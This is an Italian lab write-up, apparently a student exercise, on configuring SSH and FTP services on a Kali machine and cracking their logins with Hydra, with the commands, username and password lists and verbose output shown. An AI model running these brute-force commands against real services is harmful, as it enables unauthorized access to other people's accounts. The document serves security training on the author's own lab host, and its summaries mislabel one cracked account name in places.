

S6.L4 Le fasi di exploit/gli attacchi di rete

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Fase 1: creazione test_user_

Obiettivo della Fase 1:

Creare un nuovo utente nel sistema che può essere utilizzato per testare l'autenticazione dei servizi di rete.

Dettagli:

- Ho creato un utente chiamato test_user e ho configurato la sua password.
- L'utente è stato aggiunto ai gruppi appropriati per avere i permessi necessari.
- Questo utente sarà utilizzato nelle successive fasi dell'esercizio, in particolare per testare l'autenticazione con Hydra e altri strumenti.

```
(kali@kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n]
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali@kali)-[~]
$
```

Fase 2: Configurazione e cracking SSH

```
(kali@kali)-[~]  
$ sudo service ssh start  
[sudo] password for kali:
```

```
(kali@kali)-[~]  
$ ssh test_user@192.168.50.100  
test_user@192.168.50.100's password:  
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
(test_user@kali)-[~]  
$
```

```
(kali@kali)-[~/Desktop]  
$ hydra -l test_user -p testpass 192.168.50.100 -t 4 ssh  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret  
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and  
ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-19 02:27:31  
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task  
[DATA] attacking ssh://192.168.50.100:22/  
[22][ssh] host: 192.168.50.100 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-19 02:27:32  
(kali@kali)-[~/Desktop]  
$
```

Obiettivo della Fase 2:

Configurare e testare il servizio SSH e successivamente utilizzare Hydra per eseguire un attacco di forza bruta sull'autenticazione SSH.

Dettagli:

1. Configurazione del Servizio SSH:

- Ho avviato il servizio SSH sul tuo sistema Kali Linux per permettere le connessioni remote.
- Ho testato la configurazione effettuando una connessione SSH utilizzando l'utente test_user e la sua password, confermando che il servizio è operativo.

2. Attacco di Forza Bruta con Hydra:

- Ho utilizzato Hydra, uno strumento di cracking delle password, per eseguire un attacco di forza bruta sull'autenticazione SSH del server 192.168.50.100.
- Hydra ha tentato di autenticarsi utilizzando le credenziali fornite (test_user e testpass) e ha avuto successo.

Prossimi Passaggi

- Ulteriori Test con Hydra: Potrei voler provare Hydra con diverse liste di username e password per vedere come varia l'efficacia degli attacchi.
- Esplorazione di Altri Servizi di Rete: Considero di configurare e testare altri servizi di rete (es. FTP,)

Fase 3: Attacco brute force hydra list.txt

```
(kali㉿kali)-[~/Desktop]
$ hydra -L username.txt -P password.txt -vv 192.168.50.100 -t 4 ssh

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-19 02:30:31
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a p
revious session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 221 login tries (l:13/p:17), ~56 tries per tas
k
[DATA] attacking ssh://192.168.50.100:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://asfd@192.168.50.100:22
[INFO] Successful, password authentication is supported by ssh://192.168.50.100:22
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "sfijisdafdauafhdf" - 1 of 221 [child 0] (0
/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "Danilo" - 2 of 221 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "testpass" - 3 of 221 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "jfisjosfvrf" - 4 of 221 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "iwfjvwjfe" - 5 of 221 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "wjiwdfjiwr" - 6 of 221 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "wrfjwrijwfijvrovwfid" - 7 of 221 [child
2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "wfvjv" - 8 of 221 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "wdfjfvw" - 9 of 221 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "di" - 10 of 221 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "wifjv" - 11 of 221 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "wfidjvwfivjwrvjw" - 12 of 221 [child 3]
(0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "Danilo" - 13 of 221 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "iwrijir" - 14 of 221 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "iwejfiwjf" - 15 of 221 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "iwejfiwrj" - 16 of 221 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "asfd" - pass "iwrjfiwrjr" - 17 of 221 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user_" - pass "sfijisdafdauafhdf" - 18 of 221 [chil
d 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user_" - pass "Danilo" - 19 of 221 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user_" - pass "testpass" - 20 of 221 [child 3] (0/
0)
[22][ssh] host: 192.168.50.100 login: test_user_ password: Danilo
[ATTEMPT] target 192.168.50.100 - login "test user" - pass "sfijisdafdauafhdf" - 35 of 221 [child
```

Obiettivo della Fase 3:

Eseguire un attacco brute force utilizzando Hydra per identificare credenziali di accesso valide attraverso liste di username e password.

Dettagli:

1. Preparazione delle Liste di Username e Password:

- Ho preparato due file (username.txt e password.txt) contenenti rispettivamente una lista di username e una lista di password da testare.
2. Esecuzione dell'Attacco con Hydra:
 - Hydra ha utilizzato le liste di username e password per tentare di autenticarsi al server SSH specificato (192.168.50.100).
 - Ogni combinazione di username e password è stata testata, con Hydra che ha mostrato ogni tentativo effettuato in modalità verbose.
 3. Identificazione delle Credenziali Valide:
 - Hydra ha trovato con successo una combinazione di username e password valida: test_user con la password Danilo.

Configurazione e cracking ftp

Fase1: installazione e test di connessione

```
(kali㉿kali)-[~/Desktop]
$ sudo apt-get install vsftpd

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
vsftpd is already the newest version (3.0.3-13+b3).

(kali㉿kali)-[~/Desktop]
$ ftp 192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
Name (192.168.50.100:kali): test_user_
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Obiettivo della Fase 1:

Installare e configurare il server FTP vsftpd su Kali Linux, quindi testare la connessione per assicurarsi che il server FTP sia funzionante e accessibile.

Dettagli:

Installazione di vsftpd:

- Ho utilizzato il comando `sudo apt-get install vsftpd` per installare il server FTP vsftpd.
- Il pacchetto è stato installato con successo e la versione più recente era già presente nel sistema.

Test di Connessione FTP:

- Ho utilizzato il comando `ftp` per connettermi al server FTP all'indirizzo 192.168.50.100.

- La connessione è stata stabilita con successo, dimostrando che il server FTP è operativo.
- Ho effettuato il login con l'utente test_user creato precedentemente e la connessione è stata autenticata correttamente.

Questo passaggio è fondamentale per garantire che il server FTP sia configurato correttamente e accessibile, il che è necessario per le fasi successive dell'esercizio. assicurarmi che il servizio FTP sia attivo e pronto per essere testato con strumenti di cracking come Hydra.

Fase2: Brute force ftp

```
(kali@kali)-[~/Desktop]
$ hydra -L username.txt -P password.txt -v 192.168.50.100 -t 8 ftp

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-19 02:55:16
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 221 login tries (l:13/p:17), ~28 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[21][ftp] host: 192.168.50.100 login: test_user_ password: Danilo
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
```

Obiettivo della Fase 2:

Eseguire un attacco brute force utilizzando Hydra per identificare credenziali di accesso valide al servizio FTP attraverso liste di username e password.

Dettagli:

1. Preparazione delle Liste di Username e Password:
 - Ho preparato due file (username.txt e password.txt) contenenti rispettivamente una lista di username e una lista di password da testare.
2. Esecuzione dell'Attacco con Hydra:
 - Hydra ha utilizzato le liste di username e password per tentare di autenticarsi al server FTP specificato (192.168.50.100).
 - Ogni combinazione di username e password è stata testata, con Hydra che ha mostrato ogni tentativo effettuato in modalità verbose.
3. Identificazione delle Credenziali Valide:
 - Hydra ha trovato con successo due combinazioni di username e password valide: test_user con la password Danilo e test_user con la password testpass.